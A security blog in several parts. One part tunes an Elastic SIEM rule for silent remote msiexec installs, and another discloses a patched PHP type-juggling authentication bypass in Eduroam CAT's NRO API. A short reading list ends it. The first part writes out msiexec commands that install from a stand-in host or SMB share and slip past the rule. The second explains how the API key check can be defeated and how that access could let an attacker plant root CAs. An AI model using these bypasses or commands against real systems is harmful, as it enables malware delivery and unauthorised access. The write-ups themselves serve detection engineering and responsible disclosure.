Content

In this post I share some of my experiences with Elastic SIEM. More specifically, integrating a prebuilt Elastic SIEM rule, finding ways to bypass it, and improving the rule.

Background

Ever since the inception of my journey, I was focused on offensive security. I wanted to become a red teamer or at the very least a pentester. This started with a “Web Only” perspective which then moved to “Active Directory Only” and has been moving every since. But as time passed (as it does) and I grew as a person, I learned the importance of understanding cybersecurity as a whole and more importantly, I learned to be humble enough to say I made a mistake by not taking off the blinders but I’m willing to make it right. That’s why I took on this side-project for a semester break. For any cybersecurity enthusiast out there, don’t make the mistake I did. Learn cybersecurity as a whole and focus on the fundamentals. If you think you understand the fundamentals go back and work on them more. Don’t just read an article and think you understand it either. Practice, experiment, and implement. This was my first experience with blue teaming (or purple teaming) and except for installing the Elastic Stack, I really enjoyed it. But get ready to see some unhinged stuff (hopefully there aren’t any though)

Introduction

Elastic is a very common logging solution used by many organizations [1.0]. Elastic provides many use cases such as security or performance metrics logging. Modern versions of Elastic works with a server-agent model. You can learn more about how this model works in [1.1]. The bare minimum Elastic agent is pretty boring. It provides very useless data from a security point of view. This is where Integrations come into play. You can deploy integrations into Elastic agents so that they collect logs from places like Sysmon and Elastic Defend (Elastic EDR). You can see a list of all integrations in [1.2]

Elastic SIEM requires detection rules to operate reliably. Therefore, security teams are responsible for installing and engineering relevant detection rules. If they are too restrictive, the SOC would get flooded and they would miss real threats. And if they are too loose, threat actors would pass right by. Elastic SIEM provides over 1500 detection rules [1.3]. Some are built with generative AI [1.4] and some are hand-made.

In this post, I share my experience with installing one of these detection rules and my efforts to bypass it. I believe this is a fantastic exercise to build purple teaming skills and understand security as a whole.

[1.0] https://www.elastic.co/customers

[1.1] https://www.devopsschool.com/blog/what-is-elastic-agents-its-feature-and-how-it-works/

[1.2] https://www.elastic.co/guide/en/integrations/current/index.html

[1.3] https://www.elastic.co/guide/en/security/current/prebuilt-rules.html

[1.4] https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/dga/command_and_control_ml_dga_high_sum_probability#triage-and-analysis

Engineering a Detection Rule

Some Rant

The golden age for threat actors is long gone. 5 years ago, you could send a Word document with malicious macros and trick a user into enabling the macros fairly easily to compromise their machine. I remember completing TryHackMe’s red teamer training where they taught how to create Office macros just to see them go (almost) obsolute (when targeting modern systems) after Microsoft disabled execution of macros inside documents that are downloaded from the internet. This lead to things like MOTW bypass (the mechanisms that Windows uses to tell if a file was downloaded from the internet) with ISO files and other alternative archive formats which also went (somewhat) obsolute after security patches. Then came the age of Entra ID phishing with things like device code phishing and evilginx. I was once told by a red teamer that you can still plant Office macros into documents after getting access to someone’s Office 365 account with Entra ID phishing. I didn’t test this personally though. Nevertheless, these techniques will probably also go obsolute when passkeys become the standard authentication method in Entra ID [2.0]. At that point, threat actors and red teamers will need to find alternative initial access methods like passkey phishing [2.1] or malicious browser and other 3rd party extensions [2.2] [2.3]. And of course, we shouldn’t forget ClickFix variations like ConsentFix [2.4].

There are many interesting techniques that can be used by attackers: installer phishing [2.5], ClickOnce-based phishing [2.6], AI-helped phishing, voice phishing, SMS phishing, this phishing, that phishing and the list goes on [2.7]. Even USB based phishing can become a thing again [2.8]. Afterall, MOTW bypass is not a concern in USB contained files. I am still wondering what would happen if someone managed to enter into an office room at night and placed Rubber Ducky implanted mice [2.9] on everyone’s desks. How many would like to test out the brand new mouse that is seemingly still sealed inside its box.

It’s also remarkable that cybersecurity solutions are becoming increasingly reliant on physical security with the rise of YubiKeys, and TPM based authentication methods like passkeys. At this point, the question becomes is your organization’s physical security in check? How well trained are your employees and your coworkers? What if an attacker targets them outside of the workplace?

Anyways, my point is that threat actors and red teamers need to decide which initial access technique they will choose which means I need to choose an initial access technique as well.

For this side-project of mine, I decided to look at MSI installer based initial access techniques. Mainly because they are easy to make a PoC with and are somewhat common [2.10] [2.11]. Elastic SIEM provides a few detection rules for identifying malicious usage of msiexec. One of them is the “Potential Remote Install via Msiexec [2.12]”

[2.0] https://mc.merill.net/message/MC1221452

[2.1] https://www.youtube.com/watch?v=xdl08cPDgtE

[2.2] https://www.youtube.com/watch?v=GG4gAhbhPH8

[2.3] https://www.reddit.com/r/programming/comments/1dcz9uj/malicious_vscode_extensions_with_millions_of/

[2.4] https://www.youtube.com/watch?v=AAiiIY-Soak

[2.5] https://vicone.com/blog/phishing-beyond-emails-how-compromised-installers-threaten-automotive-software-supply-chains

[2.6] https://www.trellix.com/blogs/research/oneclik-a-clickonce-based-red-team-campaign-simulating-apt-tactics-in-energy-infrastructure/

[2.7] https://www.google.com/search?q=hp-wolf-security-threat-insights-report

[2.8] https://www.coro.net/blog/why-usb-attacks-are-back-and-how-to-prevent-them

[2.9] https://www.youtube.com/watch?v=r9SWkGPlJWM

[2.10] https://www.google.com/search?q=msiexec+malware+campaign

[2.11] https://thehackernews.com/2025/08/attackers-abuse-velociraptor-forensic.html

[2.12] https://www.elastic.co/guide/en/security/8.19/potential-remote-install-via-msiexec.html

Detection Rule: Potential Remote Install via Msiexec

According to the above source [2.11] , this rule is built with generative AI and has been reviewed (although we don’t know who or what reviewed it). It’s job is described as “Identifies attempts to install a file from a remote server using MsiExec. Adversaries may abuse Windows Installers for initial access and delivery of malware.” It’s severity is High and is implemented with the following EQL query.

process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and process.args : ("-i", "/i") and process.command_line : "*http*" and
  process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and
  process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and
  not process.command_line : ("*--set-server=*", "*UPGRADEADD=*" , "*--url=*",
                              "*USESERVERCONFIG=*", "*RCTENTERPRISESERVER=*", "*app.ninjarmm.com*", "*zoom.us/client*",
                              "*SUPPORTSERVERSTSURI=*", "*START_URL=*", "*AUTOCONFIG=*", "*awscli.amazonaws.com*")

This rule creates an alert with High severity when msiexec is executed with certain flags. But there are many exceptions to this. For example, the rule doesn’t alert if “zoom.us/client” is anywhere in the executed command. This can be seen in the below pictures.

(running different variations of msiexec)

(example alert)

As you can see, the ones that didn’t have “zoom.us/client” in the command can be detected using this rule. However, this rule failed to generate an alert when “zoom.us/client” was used as part of the remote url path. At this point, a SOC engineer either needs to remove this exclusion from the rule, or fine-tune it (along with some of the other exclusions) to be more precise like “https://zoom.us/client*”.

I should also point out that this variation of the payload was still logged but didn’t cause an alert, there is no real reason for a SOC analyst to dive into random logs therefore we can assume that an attacker using this bypass technique would be undetected. You can see the generated log in the below image.

I tried fine-tuning the rule like so:

process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and process.args : ("-i", "/i") and process.command_line : ("*http*", "\\\\") and
  process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and
  process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and
  not process.args : ("https://zoom.us/client/*")

This way, there must be an argument starting with “https://zoom.us/client/*”. An attacker can provide an arbitrary argument only once which is when they call the remote installer. All other arguments either start with a ‘-‘ or a ‘/’. A second arbitrary argument causes msiexec to give an error. So, the following msiexec command gives an error.

msiexec -i https://ev.il/install.msi /qn /quiet "https://zoom.us/client/"  # error

Another change is I added “\\” to process.command_line because msiexec supports executing installers from remote SMB shares. But it does not support FTP or Gopher so we’re good. The following msiexec command would work and would not get detected in the initial version but the modified version detects it.

msiexec -i \\ev.il\install.msi /qn /quiet  # valid, installs program from remote share and bypasses the first variant of the detection rule

UPDATE: I just realized the following payload bypasses the defense I implemented for the Zoom exclusion and msiexec doesn’t give an error.

msiexec.exe -i http://10.0.2.11/TRYING/install.msi /g https://zoom.us/client/asdf

The following is an improvement to the improvement. It can be extended to account for other flags that let you provide arbitrary parameters.

process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and process.args : ("-i", "/i") and process.command_line : ("*http*", "*\\\\*") and
  process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and
  process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and
  not (process.args : "https://zoom.us/client/*" and
  not process.command_line : "*/g*https://zoom.us/client/*")

END UPDATE

Conclusion

This small research points out the importance of well-thought defense engineering and how adversarial thinking plays a role in that.

As a beginner in defensive security, this side-project helped me to gain more insight into the intricate world of SOC. My only regret is how much time I spent just failing to setup Elastic. Regardless, I recommend anyone interested in blue teaming or red teaming do this project as well. Any red teamer should understand the SOC’s side of things and any blue teamer should be familiar with detection rules, false-positives, and false-negatives.

And that’s it. Hope you gained something out of this post. As always, if you have questions, criticisms, or just want to reach out, you know how to find my contact details.

EOF

Disclaimer for the Non-Technical

The vulnerability discussed in this post was reported by the author with a responsible disclosure policy and it was patched before releasing this post to make sure no harm was done. This post does not make any claims regarding the overall safety of Eduroam. This post contains no criticism of Eduroam and parties that develop Eduroam. Vulnerabilities exist in every system with enough complexity and the responsible disclosure of a vulnerability only makes a system safer, not untrustable.

Content

In this post, I discuss an authentication bypass vulnerability that I discovered in Eduroam CAT including the background, the discovery process, and the potential impact. The technical parts are made as simple as possible to reach as wide of an audience as possible.

Introduction

Why Find a Vulnerability in Eduroam

Like millions of other university students, I connect to the Eduroam network when I’m at school. And as a regular Eduroam user, it’s important for me to know if it contains vulnerabilities that can be exploited by malicious actors so that I know if I’m safe or not. My preliminary research showed no signs indicating that the Eduroam CAT project had continous code security audits. I don’t know if this statement is actually true but the fact that I couldn’t find any public mentions of security audits or any commits that mention security fixes meant that there was a higher chance of finding an easy-to-spot vulnerability that would otherwise have been discovered and patched.

What is Eduroam CAT

This post assumes the reader knows what Eduroam is. So, let me explain what Eduroam CAT is.

CAT [1.0] is an open-source project described on its GitHub page with the following paragraph: “CAT collects information about RADIUS/EAP deployments from Wi-Fi network administrators and generates simple-to-use, good-looking, and secure installation programs for users of these networks. The goal is to vastly improve the network security by pushing secure Wi-Fi settings to all users without the need to expose them to or require them to understand all of the underlying technologies and configuration parameters.” CAT is the so called “flagship” of Eduroam.

RADIUS is an extremely common authentication protocol used in enterprise level networks. The protocol has recently been the target of the BLAST-Radius vulnerability unraveled by some other amazing hackers. Their work was presented in Black Hat [1.1].

However, the vulnerability explained in this post is not related to BLAST-Radius. In fact, Eduroam published a response to this vulnerability [1.2] stating Eduroam authentications are not vulnerable. Nevertheless, I encourage the curious to watch the video.

Threat Modeling Eduroam CAT

CAT has 3 major user roles: the end user, the IdP admin, and the National Roaming Operator (NRO). Have a look at the below image for a visual representation of their hierarchy.

The end user has a very limited purpose in their life; to download the client configurator (a.k.a. the installer) and log into an eduroam network in their vicinity. The end user can choose a client configurator based on their identity provider (IdP). An identity provider is an institution, a research center, or a university that the end user is part of. IdPs are managed by local administrators that were assigned by NROs. The NRO has the greatest control over the others. They are in control of what are called “Federations”. Federations are the countries that are registered as part of the (eduroam) project. An NRO can only create institutions and/or assign administrators to the institutions that are within their federation.

Eduroam CAT provides a user interface for both IdP admins and NROs to perform their administrative actions. Additionaly, a separate NRO API [1.3] (which used to be called Admin API) is provided for NROs to manage their federations without the hastle of a user interface. You know, who wants to write an automation tool that has to parse HTML and do things like managing CSRF tokens? An API is nice. Anyways, unfortunately, the official documentation for this API was put behind a login page after my report so I cannot make references to it.

For the more technical; in the NRO API, the described cross-federation access control is managed by the $federation variable that gets populated when an NRO provides their API key. Using this API key, the program checks which federation the NRO belongs to. To become an NRO of a federation, it is enough to obtain the API key for that federation. In user interfaces, authentication is done with Single Sign-On through SAML.

The vulnerability discussed in this document allows an unauthenticated remote user to gain NRO level access to a federation.

[1.0] https://cat.eduroam.org/

[1.1] https://www.youtube.com/watch?v=dagyATfzRFo&pp=ygUPcmFkaXVzIGJsYWNraGF00gcJCbIJAYcqIYzv

[1.2] https://eduroam.org/eduroam-response-to-the-blastradius-vulnerability/

[1.3] https://wiki.geant.org/spaces/H2eduroam/pages/121346281/A+guide+to+eduroam+Managed+IdP+for+IdP+administrators#AguidetoeduroamManagedIdPforIdPadministrators-NROAdministratorAPI

Discovery

After many greps, failed PoCs, and left-open tabs (exaggerating a bit), I came across an interesting code that does what is known as “Type Juggling”. (flashbacks). But before diving into what type jugging is, I’d like to talk about the process that led me to this interesting code.

Spotting the Vulnerable Code

To follow the assertion that Eduroam is likely to have an easy-to-spot vulnerability from the “Why Find a Vulnerability in Eduroam” section I started navigating the project files to see if an admin level functionality was missing authentication logic [2.0]. This is a relatively easy mistake developers can make that is also very easy to spot if you stare at a codebase for enough time. Developers can create an authentication function in the code and call it before each time an admin level operation is requested by a user. I believe this mistake is even more common in today’s rushed projects. If developers forget to call the authentication function, a non-privileged user can access privileged functionalities. See example in [2.1].

Eduroam’s authentication mechanism revolves around delegation. Meaning, the responsibility of authenticating users is not on Eduroam itself. For example, when users want to connect to an Eduroam access point (modem) to connect to the internet, they enter their institution credentials. Users don’t have separate credentials for Eduroam because the authentication is done using RADIUS [2.2]. In the case of Eduroam CAT, when an administrator (IdP admin or NRO) wants to authenticate to CAT to perform administrative actions, the authentication is done via Single Sign-On (SSO). (with an exception that I’ll get to). For basics of SSO, view [2.4].

In the below image, you see how Eduroam CAT handles SSO.

Eduroam CAT is what is known as a service provider. It relies on identity providers for authentication. In most cases, the identity provider is a university that is part of to the EduGAIN project. However, Eduroam CAT allows you to use Google, Facebook, and LinkedIn as identity providers as well. To foreshadow, this is important if we want to prove that unauthorized emails can access admin functionalities.

Eduroam calls the below function for SSO authentication before giving a user access to sensitive endpoints such as an institution’s control panel.

    /**
     * authenticates a user.
     * 
     * @return void
     * @throws Exception
     */
    public function authenticate() {
        \core\common\Entity::intoThePotatoes();
        $loggerInstance = new \core\common\Logging();
        $authSimple = new \SimpleSAML\Auth\Simple(\config\Master::AUTHENTICATION['ssp-authsource']);
        if (!$authSimple->isAuthenticated()) {
            $_SESSION['saveLog'] = true;
        }
        $authSimple->requireAuth();
        $admininfo = $authSimple->getAttributes();
        // ... refer to [2.3] for the full code

This authenticate() function is called as shown below.

$auth = new \web\lib\admin\Authentication();
$auth->authenticate();

Again, my goal was to find a sensitive endpoint that didn’t call this function for an easy win.

After a full day of strictly platonic eye contact with the codebase, I could not find a missing authentication logic bug BUT I did find something interesting. The file web/admin/API.php had the following comment at the top // no SAML auth on this page. The API key authenticates the entity [2.5]. I figured they were talking about SSO not being present for this API because SAML is the mechanism behind CAT’s SSO implementation. Interesting eh? Almost like a hint you’d see in a CTF challenge. Jokes asside, this was a new attack surface that I could dig into as I wasn’t successful with finding a missing auth logic. Now I had to know how they implemented the API key authentication. When I scrolled down the file a bit, I noticed the following code:

$inputRaw = file_get_contents('php://input');

$inputDecoded = json_decode($inputRaw, TRUE);
if (!is_array($inputDecoded)) {
    $adminApi->returnError(web\lib\admin\API::ERROR_MALFORMED_REQUEST, "Unable to decode JSON POST data." . json_last_error_msg() . $inputRaw);
    exit(1);
}

$checkval = "FAIL";
foreach (\config\ConfAssistant::CONSORTIUM['registration_API_keys'] as $key => $fed_name) {
    if ($inputDecoded['APIKEY'] == $key) {
        $mode = "API";
        $federation = $fed_name;
        $checkval = "OK-NEW";
    }
}

if ($checkval == "FAIL") {
    $adminApi->returnError(web\lib\admin\API::ERROR_INVALID_APIKEY, "APIKEY is invalid");
    exit(1);
}

Can you see the interesting part?

The code uses == instead of === to compare the user controlled $inputDecoded['APIKEY'] variable against the $key variable from registration_API_keys. This is interesting because incorrect use of == can lead to type juggling related vulnerabilities in PHP, and JavaScript but the latter is out of scope. (interestingly, many SQL server implementations contain a similar behavior called implicit type conversion [2.6])

registration_API_keys is a PHP list that holds valid API keys and their corresponding Federations. The $inputDecoded['APIKEY'] variable comes from a user supplied JSON data. The fact that the code is using JSON is great news for us because JSON can contain data of different types such as string, integer, and boolean. For example, the following JSON contains 1 string, 1 integer, and 1 boolean value: {"user": "Bob", "age": 25, "is_banned": false}. Strings is text in quotes, integer is a number not in quotes, and boolean is true or false.

So the following JSON {"APIKEY": 123} would cause the code to perform the following comparison

    if (/*$inputDecoded['APIKEY']*/ 123 == "unknownapikey" /*$key*/) {
        // grant user access
    }

[2.0] https://cwe.mitre.org/data/definitions/306.html

[2.1] https://nvd.nist.gov/vuln/detail/CVE-2024-3656

[2.2] https://eduroam.org/how/

[2.3] https://github.com/GEANT/CAT/blob/a60d66df7212ad566892e3320d160aa7f00f3e89/web/lib/admin/Authentication.php#L60

[2.4] https://systemseed.com/insights/understanding-the-fundamentals-of-single-sign-on-systems-ssos/

[2.5] https://github.com/GEANT/CAT/blob/a60d66df7212ad566892e3320d160aa7f00f3e89/web/admin/API.php#L30C1-L30C67

[2.6] https://www.google.com/search?q=%22mysql%22+OR+%22MS+SQL%22+implicit+type+conversion

What is PHP Type Juggling

Let’s talk about the elephant in the room (excuse the pun). PHP is a dynamically typed language unless strict types are enforced. Meaning, it does not require the developers to specify a variable’s type upon its creation. PHP also has a feature called “loose comparison”. The combination of the 2 can cause unintended behaviors if overlooked.

For example, in PHP 5 and PHP 7, when a loose comparison is performed, the number 12 equals to the text “12wat?”. Moreover, in every PHP version, the boolean true value is equal to “any text (string) value”. Because when PHP loosely compares 2 variables of different types, it performs type juggling [3.0]. This results in changes in variable types. You can observe the effects of type juggling and loose comparisons in PHP 7.4 below. Please note that all versions of PHP have type juggling and it’s not a vulnerability by itself, it’s a feature.

It’s also important to mention that enforcing strict types in PHP is not the ultimate solution to type juggling related bugs.

[3.0] https://www.php.net/manual/en/language.types.type-juggling.php

Demystifying the Type Juggling Behavior

Let’s uncover why this is happening. When the == sign is used in PHP, it performs loose comparisons. Meaning, PHP is not strict about the types of variables that are being compared.

Example 1:

12 == "12wat?123"; // true

This does not work in PHP 8. But when PHP 7.4 (the last PHP 7 version) and before sees we want to compare an integer to a string, it tries its best to turn the string into an integer. In this case, PHP strips the characters after “12” in the string. So, “12wat?123” becomes “12”. Then it says ‘Oh, this is the same as the number 12’. Therefore, the text “12wat?123” gets turned into the number 12 and then gets compared to the number 12. And we all know that 12 is equal to 12.

Example 2:

true == "asdf";  // true

This comparison evaluates to true in all PHP versions. When PHP sees this comparison, it tries to turn “asdf” into a boolean value as well. And the creators of PHP decided that a non-empty string should be turned into a boolean true instead of a boolean false. The string would’ve turned into a boolean false if it was empty. In other words, in PHP, the following check evaluates to true: false == "";

In short, after PHP sees that we are comparing a boolean value to a non-empty string, it turns the string into a boolean true value and performs the comparison. And we know that “true ∧ true = true”. So, the comparison evaluates to true.

Example 3:

"abcd" is not equal to "abce"; 

When PHP compares two values of the same type, it does not perform type juggling. Type juggling is only relevant when comparison between 2 different variable types is performed.

Crafting a PoC

Now that we understand type juggling, we can try to see if we can exploit it’s behavior in our case. Well, I’m being dramatic here. Of course we can. To demonstrate this, I created the following PoC and successfully authenticated to the NRO API:

Impact

What Just Happened?

Okay, we are authenticated now. But as who? Well, if we look at the vulnerable code again we see that the for(each) loop is assigning the $federation variable to the value stored in $fed_name which is the federation corresponding to the $key (the API key).

$inputRaw = file_get_contents('php://input');
$inputDecoded = json_decode($inputRaw, TRUE);

if (!is_array($inputDecoded)) {
    $adminApi->returnError(web\lib\admin\API::ERROR_MALFORMED_REQUEST, "Unable to decode JSON POST data." . json_last_error_msg() . $inputRaw);
    exit(1);
}

$checkval = "FAIL";

foreach (\config\ConfAssistant::CONSORTIUM['registration_API_keys'] as $key => $fed_name) {
    if ($inputDecoded['APIKEY'] == $key) {
        $mode = "API";
        $federation = $fed_name;
        $checkval = "OK-NEW";
    }
}

if ($checkval == "FAIL") {
    $adminApi->returnError(web\lib\admin\API::ERROR_INVALID_APIKEY, "APIKEY is invalid");
    exit(1);
}

Here’s a diagram that shows the logic flow visually, though not aesthetically.

Did you notice that the code does not stop when the line if (inputDecoded['APIKEY'] == key) { returns true? The lack of a break statement in the code means our PoC caused the code to return true but in the first iteration but the code kept checking for the next value in the list until the end of the list. When it reached the end of the list, it assigned $fed_name to $federation one last time and exited the loop. Which means we now have NRO level access to the federation that is at the end of registration_API_keys. Which federation is that? Well, I’ll just say it’s a very important one. I actually suprised my that this federation was at the end. Because if the developers updated this list for each new federation, a country that joined Eduroam late like Algeria would be at the end of the list. But maybe they don’t update the list for every federation, maybe they add new federations to the beginning, or maybe there are multiple NROs per federation with different API keys so that when someone gets hired as an NRO, they receive a new API key which gets put at the end of the list. Who knows…

Btw, CAT accepts contributions to the Eduroam CAT open-source project [4.0]. Meaning, an attacker with a bit of creativity could make a contribution to add a break statement in the for(each) loop for “optimization” to gain access to the first federation in the list as well. OR, an attacker could propose a change to make the $federation variable a list so that a single API key could be used to access multiple federations. This would be a legitimate use case for the scenario where one person is responsible for managing multiple federations. If this change happened, an attacker would’ve gained access to all of the federations in the registration_API_keys list. What do you think? Would this be possible? It really makes you question if a benign-looking commit is really benign or instead a clever setup.

[4.0] https://github.com/GEANT/CAT/pulls?q=is%3Apr+is%3Aclosed

What is the Impact?

This is where things get a bit more hypothetical. But I’d like to briefly discuss the capabilities that the NRO API provides to show the impact of the vulnerability. The file [5.0] serves as a (somewhat technical) documentation for the NRO API. In that file, you can see descriptions of actions that the NRO API provides. For example, the below code snippet is the description of the DATADUMP-FED action we used for the PoC.

    /**
     * Dumps all configured information about IdPs in the federation
     */
    const ACTION_FEDERATION_LISTIDP = "DATADUMP-FED";

Besides read level access, the API also allows write level and even delete level actions (your regular CRUD). The most interesting option for me was the following which allowed creating new IdP admins for a given institution. This is interesting because, as discussed earler, federation admins cannot administer IdPs (educational insitutions, universities etc.) directly. But this code tells us that they can create other users that can administer any IdP in their federation using this API.

    /**
     * This action creates a new invitation token for administering an existing
     * institution. The invitation can be sent directly via mail, or the sign-up
     * token can be returned in the API response for the caller to hand it out.
     */
    const ACTION_ADMIN_ADD = "ADMIN-ADD";

If we look at the code where the ACTION_ADMIN_ADD variable is used [5.1] we see that it has 3 parameters; an institution ID, an admin ID, and an optional email address to send the invitation to. You can see this in the below code. $adminApi->firstParameterInstance() is used to check if certain parameters exist.

    case web\lib\admin\API::ACTION_ADMIN_ADD:
        // IdP in question
        try {
            $idp = $validator->existingIdP($adminApi->firstParameterInstance($scrubbedParameters, web\lib\admin\API::AUXATTRIB_CAT_INST_ID), NULL, $fed);
        } catch (Exception $e) {
            $adminApi->returnError(web\lib\admin\API::ERROR_INVALID_PARAMETER, "IdP identifier does not exist!");
            exit(1);
        }
        // here is the token
        $mgmt = new core\UserManagement();
        // we know we have an admin ID but scrutinizer wants this checked more explicitly
        $admin = $adminApi->firstParameterInstance($scrubbedParameters, web\lib\admin\API::AUXATTRIB_ADMINID);
        if ($admin === FALSE) {
            throw new Exception("A required parameter is missing, and this wasn't caught earlier?!");
        }
        $newtokens = $mgmt->createTokens(true, [$admin], $idp);
        $URL = "https://" . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . "/action_enrollment.php?token=" . array_keys($newtokens)[0];
        $success = ["TOKEN URL" => $URL, "TOKEN" => array_keys($newtokens)[0]];
        // done with the essentials - display in response. But if we also have an email address, send it there
        $email = $adminApi->firstParameterInstance($scrubbedParameters, web\lib\admin\API::AUXATTRIB_TARGETMAIL);

I knew that the institution ID (AUXATTRIB_CAT_INST_ID) was public information so this wasn’t a problem. But when I saw the admin ID (AUXATTRIB_ADMINID) was being checked, I thought that the “scrutinizer” that was mentioned in the code had screwed me over. However, when I looked at how the provided admin ID was being used [5.2] inside createTokens(), I noticed that it was just the email address (or the username) which would be granted access to the given federation. This email address can be any Gmail access as Eduroam allows SSO with Google! [5.3]

So, what can an IdP admin do? By reading the documentation [5.4] we can see they can perform many actions including adding and removing user credentials if a Managed IdP profile is used [5.5], replacing RADIUS server root CA certificates that installers (the Eduroam configuration scripts) download, [5.6] or changing the link to an installer that are downloaded by end users [5.7]. The last 2 are are very interesting to an attacker.

Replacing RADIUS certificates could allow an attacker to impersonate other identities such as RADIUS servers to steal RADIUS credentials (unless EAP-TLS is in use which can be changed through CAT administration utilities [5.8]). What makes this attack scenario even more interesting is that according to the documentation “On the client OSes, all root CAs will be installed and all will be marked trusted. In Windows such certificates also become trusted for all purposes, not just WiFi” [5.9]. This behavior is because of the fact that Eduroam CAT installs said certificates to the system certificate store. This means that an attacker could make browsers on Windows devices trust an attacker’s google.com instead of the real google.com to perform a MITM attack that allows them to decrypt the almighty TLS traffic and impersonate webpages. This is how TLS inspection is done [5.10]. Of course, the attacker would need to find a way to perform a MITM attack but doing so is trivially achievable via an evil twin attack or just a rogue free WiFi point. Sadly, this could also be used maliciously by insitutions to spy on their students/employees. I’m not sure if this goes for Linux too. I think the default Linux browser for most distros, Firefox, tries not to use system certificates and relies on things like Mozilla’s certificate store while some Linux distributions override this behavior to use the system certificate store instead.

In the second scenario, changing an installer would allow an attacker to redirect users to a modified version of the installer which could lead to remote code execution and total control of an end user’s device.

[5.0] https://github.com/GEANT/CAT/blob/222a3237f413749ebf93a20c38a828d66e434827/web/lib/admin/API.php#L1

[5.1] https://github.com/GEANT/CAT/blob/222a3237f413749ebf93a20c38a828d66e434827/web/admin/API.php#L131

[5.2] https://github.com/GEANT/CAT/blob/222a3237f413749ebf93a20c38a828d66e434827/core/UserManagement.php#L289

[5.3] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2#AguidetoeduroamCATforIdPadministratorsver.2.2-Step2%3AHowtologintoeduroamCAT%3F

[5.4] https://wiki.geant.org/spaces/H2eduroam/pages/121346267/A+guide+to+eduroam+CAT+for+IdP+administrators#AguidetoeduroamCATforIdPadministrators-Generatinginstallersformyusers

[5.5] https://wiki.geant.org/spaces/H2eduroam/pages/121346281/A+guide+to+eduroam+Managed+IdP+for+IdP+administrators#AguidetoeduroamManagedIdPforIdPadministrators-Managingmyusers

[5.6] https://wiki.geant.org/spaces/H2eduroam/pages/121346267/A+guide+to+eduroam+CAT+for+IdP+administrators#AguidetoeduroamCATforIdPadministrators-ReplacingtheRADIUSserverrootCAcertificate

[5.7] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2#AguidetoeduroamCATforIdPadministratorsver.2.2-Generatinginstallersformyusers

[5.8] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2#AguidetoeduroamCATforIdPadministratorsver.2.2-Profiles

[5.9] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2

[5.10] https://support.catonetworks.com/hc/en-us/articles/4416504789393-Installing-the-Root-Certificate-for-TLS-Inspection

Disclosure

This vulnerability was patched in commit 94949b4a7a119e3f523be4c623218076757129f7 [6.0]

[6.0] https://github.com/GEANT/CAT/commit/94949b4a7a119e3f523be4c623218076757129f7

Conclusion

The finding in this blog post demonstrates the importance of dedicated security testing. By examining the application’s code and behavior, I identified a flaw that allowed unauthorized access at the National Roaming Operator level. This issue could’ve had serious consequences if left unaddressed.

This shows that software security should never be taken for granted. Especially the tools we rely on daily require continuous testing to ensure security. Although the vulnerability was responsibly disclosed and patched, it serves as a reminder that even widely trusted aplications can contain weaknesses when continuous security testing is overlooked. As systems grow more complex, security must be treated as an ongoing responsibility, with consistent attention to best practices to maintain trust and protect users.

Closing and Thanks

Huge thanks to everyone who was part of the process that led to this post being published. I decided not to give any names because you never know in this world ¯\*(ツ)*/¯. That said, I really appreciate everyone; my coach, my teachers, and others who took the time to review my work and help me move through the disclosure process. And a special shout-out to the folks who build and maintain Eduroam for such an awesome project!

And this is probably where I should mention for the more technical audience that although I was initially looking for the low hanging fruit, I also tested for other vectors such the potential exposure of SMTP credentials because of an email lookup functionality where I should commend the developers for realising the potential problem and preventing it with a workaround. I’ll leave it to you to find out what the attack vector was how it was prevented.

And that’s it! Hope you enjoyed my first blog post and found something useful in it. If you have questions, criticisms or if you just want to reach out, you’d know how to find my contact details. And just in case, I’ll leave you with this playlist to optimally enhance the quotient of your post-engagement gratification 🙂

EOF

General

Programming Language Specific Quirks

Go

1. Common Go Mistakes
   Link: Common Go Mistakes
   Generic Go mistakes with example code (that can cause security bugs of course)
   

2. Unexpected Security Footguns in Go Parsers
   Link: Unexpected Security Footguns in Go Parsers
   Security problems that can arise from unexpected parser behaviors in Go
   

Interoperability Vulnerabilities

Parser Differentials

1. Bypassing SAML Authentication by Abusing Parser Differentials Link: Bypassing SAML Authentication by Abusing Parser Differentials
A very technical writeup that illustrates how we can abuse Parser Differentials. Goes deep into SAML, XML, and signatures. This is a nice read about abusing software schemes that read the same data using 2 different implementations. (interoperability vulnerabilities) Featuring:

• Unicode normalization
• Parser Differentials (discrepancies)
• Developer Pitfalls
• Case Insensitivity
• Data Format Confusion

2. How to Exploit Parser Differentials by Gitlab Link: How to Exploit Parser Differentials It’s about parser differentials, its by Gitlab, it must be guud.

Vulnerability Types

Vulnerability Type: ORM Leak

1. Ransacking Your Password Reset Tokens Link: Ransacking Your Password Reset Tokens One of the first articles about ORM leaks; an ORM leak vulnerability in the Ruby library “Ransack”

2. Plorming Your Django ORM Link: Plorming Your Django ORM

Ruby

1) Curated list of Ruby on Rails vulnerabilities by Brakeman

Link: Brakeman Warning Types

Great resource to learn about new vulnerability types and how they can emerge. It’s original purpose is to document the warnings that the Brakeman static analysis tool gives.

2) (Non-Complete) list of code patterns that can cause SQLi (ORMi) in Rails applications

Link: Rails SQLi

Found this resource while investigating CVE-2021-43830. The subtle behavior in the exists method had to be documented somewhere…

Vulnerability Type: Path Traversal

Learning Sources

